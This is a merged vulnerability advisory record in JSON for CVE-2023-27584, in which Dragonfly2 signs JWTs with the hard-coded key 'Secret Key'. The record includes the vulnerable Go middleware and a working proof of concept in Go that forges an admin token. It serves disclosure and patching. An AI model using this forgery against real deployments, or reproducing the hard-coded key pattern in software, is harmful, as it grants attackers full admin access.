{"id":"CVE-2023-27584","aliases":["CVE-2023-27584","GHSA-hpc8-7wpm-889w","GO-2024-3136"],"related":[],"kind":"vulnerability","state":"published","title":"Dragonfly2 vulnerable to hard coded cyptographic key","summary":"Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\nHello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. \n\n### Details\nDragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass\n```go\nauthMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\n\t\tRealm:       \"Dragonfly\",\n\t\tKey:         []byte(\"Secret Key\"),\n\t\tTimeout:     2 * 24 * time.Hour,\n\t\tMaxRefresh:  2 * 24 * time.Hour,\n\t\tIdentityKey: identityKey,\n\n\t\tIdentityHandler: func(c *gin.Context) any {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, ok := claims[identityKey]\n\t\t\tif !ok {\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\t\"message\": \"Unavailable token: require user id\",\n\t\t\t\t})\n\t\t\t\tc.Abort()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tc.Set(\"id\", id)\n\t\t\treturn id\n\t\t})\n```\n\n### PoC\nUse code below to generate a jwt token\n```go\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/golang-jwt/jwt/v4\"\n)\n\nfunc (stc *DragonflyTokenClaims) Valid() error {\n\t// Verify expiry.\n\tif stc.ExpiresAt <= time.Now().UTC().Unix() {\n\t\tvErr := new(jwt.ValidationError)\n\t\tvErr.Inner = errors.New(\"Token is expired\")\n\t\tvErr.Errors |= jwt.ValidationErrorExpired\n\t\treturn vErr\n\t}\n\treturn nil\n}\n\ntype DragonflyTokenClaims struct {\n\tId        int32 `json:\"id,omitempty\"`\n\tExpiresAt int64 `json:\"exp,omitempty\"`\n\tIssue     int64 `json:\"orig_iat,omitempty\"`\n}\n\nfunc main() {\n\tsigningKey := \"Secret Key\"\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour).Unix(),\n\t\tId:        1,\n\t\tIssue:     time.Now().Unix(),\n\t})\n\tsignedToken, _ := token.SignedString([]byte(signingKey))\n\tfmt.Println(signedToken)\n}\n```\nAnd send request with JWT above , you can still get data without restriction.\n<img width=\"1241\" alt=\"image\" src=\"https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png\">\n\n\n### Impact\nAn attacker can perform any action as a user with admin privileges.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Dragonfly2 has hard coded cyptographic key in d7y.io/dragonfly","format":"markdown","source":"go"},{"lang":"es","text":"Dragonfly es un sistema de distribución de archivos y aceleración de imágenes basado en P2P de código abierto. Está alojado por la Cloud Native Computing Foundation (CNCF) como un proyecto de nivel de incubación. Dragonfly utiliza JWT para verificar al usuario. Sin embargo, la clave secreta para JWT, \"Clave secreta\", está codificada de forma rígida, lo que permite eludir la autenticación. Un atacante puede realizar cualquier acción como usuario con privilegios de administrador. Este problema se ha solucionado en la versión 2.0.9. Se recomienda a todos los usuarios que actualicen. No existen workarounds conocidas para esta vulnerabilidad.","source":"nvd"}],"published":"2024-09-19T14:47:36.000Z","modified":"2026-06-17T05:45:31.270Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-321","CWE-798"],"affected":[{"ranges":[{"version":"< 2.0.9","status":"affected"}],"vendor":"dragonflyoss","product":"Dragonfly2","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"2.0.9","status":"affected"}],"vendor":"dragonflyoss","product":"dragonfly2","cpe":"cpe:2.3:a:dragonflyoss:dragonfly2:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.1.0-alpha.0","status":"affected","fixed":"2.1.0-beta.1"}],"ecosystem":"Go","package":"d7y.io/dragonfly/v2","purl":"pkg:golang/d7y.io/dragonfly/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.0.9-rc.2"}],"ecosystem":"Go","package":"d7y.io/dragonfly/v2","purl":"pkg:golang/d7y.io/dragonfly/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.0-beta.1"}],"ecosystem":"Go","package":"d7y.io/dragonfly/v2","purl":"pkg:golang/d7y.io/dragonfly/v2","source":"go"},{"ranges":[{"status":"affected","fixed":"2.0.9"}],"vendor":"linuxfoundation","product":"dragonfly","cpe":"cpe:2.3:a:linuxfoundation:dragonfly:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w","tags":["advisory","exploit","vendor-advisory","x-refsource-confirm"],"sources":["cvelist","go","nvd"]},{"url":"https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-hpc8-7wpm-889w","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27584","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/dragonflyoss/dragonfly/commit/684469a31bd27d38c715c507bca9f6d2c21f9007","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/dragonflyoss/Dragonfly2","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-09-25T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-27584","url":"https://www.cve.org/CVERecord?id=CVE-2023-27584","licence":"CVE Terms of Use","modified":"2024-09-26T03:55:52.647Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hpc8-7wpm-889w","url":"https://github.com/advisories/GHSA-hpc8-7wpm-889w","licence":"CC-BY-4.0","modified":"2025-04-23T14:51:32.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-3136","url":"https://pkg.go.dev/vuln/GO-2024-3136","licence":"CC-BY-4.0","modified":"2026-03-03T04:55:48.323Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-27584","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27584","licence":"Public domain","modified":"2026-06-17T05:45:31.270Z"}],"updatedAt":"2026-11-25T22:58:34.320Z","epss":{"score":0.33874,"percentile":0.98424,"date":"2026-12-01T12:00:22.000Z"}}